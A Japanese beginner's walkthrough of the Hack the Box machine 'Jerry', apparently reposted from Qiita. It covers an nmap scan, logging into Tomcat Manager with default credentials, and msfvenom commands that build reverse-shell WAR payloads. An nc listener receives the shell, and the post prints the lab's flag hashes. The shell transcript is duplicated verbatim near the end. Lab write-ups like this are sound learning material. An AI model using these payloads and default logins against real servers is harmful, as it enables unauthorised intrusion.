4台目 <Hack the Box> Jerry -Walkthrough-
自己紹介
Hack the box ど素人
ハッキングラボを終えて試す場としておすすめだということで始めました。
自分用のメモではありますが、間違いや改善点などご指摘いただいたけたら幸いです。
マシン
今回のマシンはJerry,
@v_avengerさんのDEF CON 28:Red Team Village:敵対者を蹴散らすゲリラレッドチームの構築を参考に進めようと思い、このマシンを選びました.
加えてグラフを見ると簡単そう?だった.
nmap
まずはnmapで開いているポートを調べる.
root@kali:~# nmap -Pn -A 10.10.10.95
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-22 11:47 JST
Nmap scan report for 10.10.10.95
Host is up (0.25s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 (90%), Microsoft Windows 7 Professional (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 8080/tcp)
HOP RTT ADDRESS
1 251.15 ms 10.10.14.1
2 251.28 ms 10.10.10.95
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.93 seconds
8080番のポートしかない, 初めてwebの問題に当たったなという印象.
とりあえず開いてい見るかと思い, URLに10.10.10.95:8080を打ち込むと以下のようなページに移動した.
以前Hack the box の歩き方というお話を聞いた際にwebの問題はアップロードに注目するという話を聞いたので探してみる.
認証
色々回ってみるとManager Appというところを押すとユーザー名とパスワードが求められた.
SQLでも入れるのだろうか,ブルートフォースでもするのだろうかと色々考えたが
とりあえずテキトーに打ってみると以下のような画面になった.
ユーザー名がtomcat, パスワードがs3cret と書いてある,
実際に打ち込むと管理者画面? に移動した.
warファイルのデプロイ
話で聞いていた通り,
この画面の下にいくと以下のようにファイルをアップロードできるところを発見したのでここにリバースシェルのペイロードをデプロイしてみる.
失敗例
(自分以外の人が見る想定はあまりしていませんが)
他の方のwriteupと同じ内容のものを書くのもあれなので,
自分がどのような手順を踏んだか細かく書いてみます.
見るに耐えないと思った方は飛ばしていただけると嬉しいです.
まずはペイロードをmsfvenomを使って作成する.
Winだしハッキングラボと同じ方法でできるのではないかと思い,
実際にやってみた.
root@kali:~/hackthebox/Jerry# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.95 -f war -o /root/hackthebox/Jerry/reverse.war
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of war file: 52220 bytes
Saved as: /root/hackthebox/Jerry/reverse.war
root@kali:~/hackthebox/Jerry# ls
reverse.war
root@kali:~/hackthebox/Jerry# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf5 exploit(multi/handler) > set lhost 10.10.10.95
lhost => 10.10.10.95
msf5 exploit(multi/handler) > exploit
[-] Handler failed to bind to 10.10.10.95:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] exploit: Interrupted
msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.10.95 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf5 exploit(multi/handler) > set lport 8080
lport => 8080
msf5 exploit(multi/handler) > exploit
[-] Handler failed to bind to 10.10.10.95:8080:- -
[*] Started reverse TCP handler on 0.0.0.0:8080
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] exploit: Interrupted
ここまで来てLHOSTにJerryのIPアドレスを入れていたことに気づく.
だとしてもポート番号も変えてないし
というわけでTake2
root@kali:~/hackthebox/Jerry# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 -f war -o /root/hackthebox/Jerry/reverse.war
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of war file: 52191 bytes
Saved as: /root/hackthebox/Jerry/reverse.war
root@kali:~/hackthebox/Jerry# ls
reverse.war shell.war
root@kali:~/hackthebox/Jerry# msfconsole
.;lxO0KXXXK0Oxl:.
,o0WMMMMMMMMMMMMMMMMMMKd,
'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
.KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
lWMMMMMMMMMMMXd:.. ..;dKMMMMMMMMMMMMo
xMMMMMMMMMMWd. .oNMMMMMMMMMMk
oMMMMMMMMMMx. dMMMMMMMMMMx
.WMMMMMMMMM: :MMMMMMMMMM,
xMMMMMMMMMo lMMMMMMMMMO
NMMMMMMMMW ,cccccoMMMMMMMMMWlccccc;
MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW. ;KMMMMMMMMMMMMMMX:
xMMMMMMMMMd ,0MMMMMMMMMMK;
.WMMMMMMMMMc 'OMMMMMM0,
lMMMMMMMMMMk. .kMMO'
dMMMMMMMMMMWd' ..
cWMMMMMMMMMMMNxc'. ##########
.0MMMMMMMMMMMMMMMMWc #+# #+#
;0MMMMMMMMMMMMMMMo. +:+
.dNMMMMMMMMMMMMo +#++:++#+
'oOWMMMMMMMMo +:+
.,cdkO0K; :+: :+:
:::::::+:
Metasploit
=[ metasploit v5.0.87-dev ]
+ -- --=[ 2006 exploits - 1095 auxiliary - 343 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: Open an interactive Ruby terminal with irb
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf5 exploit(multi/handler) > set lhost 10.10.14.3
lhost => 10.10.14.3
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.14.3:4444
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] exploit: Interrupted
やり方を変えるまで
まあ出来ない,
ということでネットサーフィンしていると以下の記事を発見.
@mr-wacker さんのMSFvenom ~ ペイロード早見表 ~
ここらへんでやっと「やってること色々おかしいな、そもそもOSに対してとwebで条件違いそうだし、tcpとhttpだし」と気づく.
成功例
こっちは他の方のものと似通った内容だと思います。
上記の添付記事を参考にペイロードを作成, デプロイする.
root@kali:~/hackthebox/Jerry# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f war > shell.war
Payload size: 1094 bytes
Final size of war file: 1094 bytes
ちなみにコマンドのオプションの意味は以下の通りです.
-p...ペイロードのパス
-f 拡張子 > ファイル名...出力ファイルの形式が拡張子でファイル名がファイル名のファイルをカレントディレクトリに生成
(-f 拡張子 -o ファイルパス という感じでもOK.)
このwarファイルをデプロイすると以下のように一番下に追加される.
ncコマンドで待ち構えながらこの/shellをクリックするとシェルが来た.
root@kali:~/hackthebox/Jerry# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.95] 49192
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\apache-tomcat-7.0.88>
userとroot
C:\apache-tomcat-7.0.88>cd /
cd /
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is FC2B-E489
Directory of C:\
06/19/2018 04:07 AM <DIR> apache-tomcat-7.0.88
08/22/2013 06:52 PM <DIR> PerfLogs
06/19/2018 06:42 PM <DIR> Program Files
06/19/2018 06:42 PM <DIR> Program Files (x86)
06/18/2018 11:31 PM <DIR> Users
06/19/2018 06:54 PM <DIR> Windows
0 File(s) 0 bytes
6 Dir(s) 27,602,911,232 bytes free
C:\>cd Users
cd Users
C:\Users>dir
dir
Volume in drive C has no label.
Volume Serial Number is FC2B-E489
Directory of C:\Users
06/18/2018 11:31 PM <DIR> .
06/18/2018 11:31 PM <DIR> ..
06/18/2018 11:31 PM <DIR> Administrator
08/22/2013 06:39 PM <DIR> Public
0 File(s) 0 bytes
4 Dir(s) 27,602,911,232 bytes free
C:\Users>cd Administrator
cd Administrator
C:\Users\Administrator>dir
dir
Volume in drive C has no label.
Volume Serial Number is FC2B-E489
Directory of C:\Users\Administrator
06/18/2018 11:31 PM <DIR> .
06/18/2018 11:31 PM <DIR> ..
06/19/2018 06:43 AM <DIR> Contacts
06/19/2018 07:09 AM <DIR> Desktop
06/19/2018 06:43 AM <DIR> Documents
06/19/2018 06:43 AM <DIR> Downloads
06/19/2018 06:43 AM <DIR> Favorites
06/19/2018 06:43 AM <DIR> Links
06/19/2018 06:43 AM <DIR> Music
06/19/2018 06:43 AM <DIR> Pictures
06/19/2018 06:43 AM <DIR> Saved Games
06/19/2018 06:43 AM <DIR> Searches
06/19/2018 06:43 AM <DIR> Videos
0 File(s) 0 bytes
13 Dir(s) 27,602,911,232 bytes free
C:\Users\Administrator>cd Desktop
cd Desktop
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is FC2B-E489
Directory of C:\Users\Administrator\Desktop
06/19/2018 07:09 AM <DIR> .
06/19/2018 07:09 AM <DIR> ..
06/19/2018 07:09 AM <DIR> flags
0 File(s) 0 bytes
3 Dir(s) 27,602,911,232 bytes free
C:\Users\Administrator\Desktop>cd flags
cd flags
C:\Users\Administrator\Desktop\flags>dir
dir
Volume in drive C has no label.
Volume Serial Number is FC2B-E489
Directory of C:\Users\Administrator\Desktop\flags
06/19/2018 07:09 AM <DIR> .
06/19/2018 07:09 AM <DIR> ..
06/19/2018 07:11 AM 88 2 for the price of 1.txt
1 File(s) 88 bytes
2 Dir(s) 27,602,911,232 bytes free
C:\Users\Administrator\Desktop\flags>cat 1.txt
cat 1.txt
C:\Users\Administrator\Desktop\flags>dir
dir
Volume in drive C has no label.
Volume Serial Number is FC2B-E489
Directory of C:\Users\Administrator\Desktop\flags
06/19/2018 07:09 AM <DIR> .
06/19/2018 07:09 AM <DIR> ..
06/19/2018 07:11 AM 88 2 for the price of 1.txt
1 File(s) 88 bytes
2 Dir(s) 27,602,911,232 bytes free
C:\Users\Administrator\Desktop\flags>type "2 for the price of 1.txt"
type "2 for the price of 1.txt"
user.txt
7004dbcef0f854e0fb401875f26ebd00
root.txt
04a8b36e1545a455393d067e772fe90e
感想
C:\apache-tomcat-7.0.88>cd /
cd /
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is FC2B-E489
Directory of C:\
06/19/2018 04:07 AM <DIR> apache-tomcat-7.0.88
08/22/2013 06:52 PM <DIR> PerfLogs
06/19/2018 06:42 PM <DIR> Program Files
06/19/2018 06:42 PM <DIR> Program Files (x86)
06/18/2018 11:31 PM <DIR> Users
06/19/2018 06:54 PM <DIR> Windows
0 File(s) 0 bytes
6 Dir(s) 27,602,911,232 bytes free
C:\>cd Users
cd Users
C:\Users>dir
dir
Volume in drive C has no label.
Volume Serial Number is FC2B-E489
Directory of C:\Users
06/18/2018 11:31 PM <DIR> .
06/18/2018 11:31 PM <DIR> ..
06/18/2018 11:31 PM <DIR> Administrator
08/22/2013 06:39 PM <DIR> Public
0 File(s) 0 bytes
4 Dir(s) 27,602,911,232 bytes free
C:\Users>cd Administrator
cd Administrator
C:\Users\Administrator>dir
dir
Volume in drive C has no label.
Volume Serial Number is FC2B-E489
Directory of C:\Users\Administrator
06/18/2018 11:31 PM <DIR> .
06/18/2018 11:31 PM <DIR> ..
06/19/2018 06:43 AM <DIR> Contacts
06/19/2018 07:09 AM <DIR> Desktop
06/19/2018 06:43 AM <DIR> Documents
06/19/2018 06:43 AM <DIR> Downloads
06/19/2018 06:43 AM <DIR> Favorites
06/19/2018 06:43 AM <DIR> Links
06/19/2018 06:43 AM <DIR> Music
06/19/2018 06:43 AM <DIR> Pictures
06/19/2018 06:43 AM <DIR> Saved Games
06/19/2018 06:43 AM <DIR> Searches
06/19/2018 06:43 AM <DIR> Videos
0 File(s) 0 bytes
13 Dir(s) 27,602,911,232 bytes free
C:\Users\Administrator>cd Desktop
cd Desktop
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is FC2B-E489
Directory of C:\Users\Administrator\Desktop
06/19/2018 07:09 AM <DIR> .
06/19/2018 07:09 AM <DIR> ..
06/19/2018 07:09 AM <DIR> flags
0 File(s) 0 bytes
3 Dir(s) 27,602,911,232 bytes free
C:\Users\Administrator\Desktop>cd flags
cd flags
C:\Users\Administrator\Desktop\flags>dir
dir
Volume in drive C has no label.
Volume Serial Number is FC2B-E489
Directory of C:\Users\Administrator\Desktop\flags
06/19/2018 07:09 AM <DIR> .
06/19/2018 07:09 AM <DIR> ..
06/19/2018 07:11 AM 88 2 for the price of 1.txt
1 File(s) 88 bytes
2 Dir(s) 27,602,911,232 bytes free
C:\Users\Administrator\Desktop\flags>cat 1.txt
cat 1.txt
C:\Users\Administrator\Desktop\flags>dir
dir
Volume in drive C has no label.
Volume Serial Number is FC2B-E489
Directory of C:\Users\Administrator\Desktop\flags
06/19/2018 07:09 AM <DIR> .
06/19/2018 07:09 AM <DIR> ..
06/19/2018 07:11 AM 88 2 for the price of 1.txt
1 File(s) 88 bytes
2 Dir(s) 27,602,911,232 bytes free
C:\Users\Administrator\Desktop\flags>type "2 for the price of 1.txt"
type "2 for the price of 1.txt"
user.txt
7004dbcef0f854e0fb401875f26ebd00
root.txt
04a8b36e1545a455393d067e772fe90e
今回は4個目のマシンだった.
失敗例に載せたものは経験者の方からすれば意味のわからない振る舞いなのだろうなと思った.
もう1回ハッキングラボ読み直したり,
ネットワークやサーバー関連の知識から入れるべきなのかなと感じた.
あとパスワードのところがSQLだとかブルートフォースだとかだったら答え見ないと自分の力量ではできないだろうなと感じた.
Activeがwriteup見てもやってることが全く分からないので理解できるようにならなければ、、、
拙い記事を最後まで読んでいただきありがとうございました。
Author And Source
この問題について(4台目 <Hack the Box> Jerry -Walkthrough-), 我々は、より多くの情報をここで見つけました https://qiita.com/ajipon_44/items/54a93ec22441579d186d著者帰属:元の著者の情報は、元のURLに含まれています。著作権は原作者に属する。
Content is automatically searched and collected through network algorithms . If there is a violation . Please contact us . We will adjust (correct author information ,or delete content ) as soon as possible .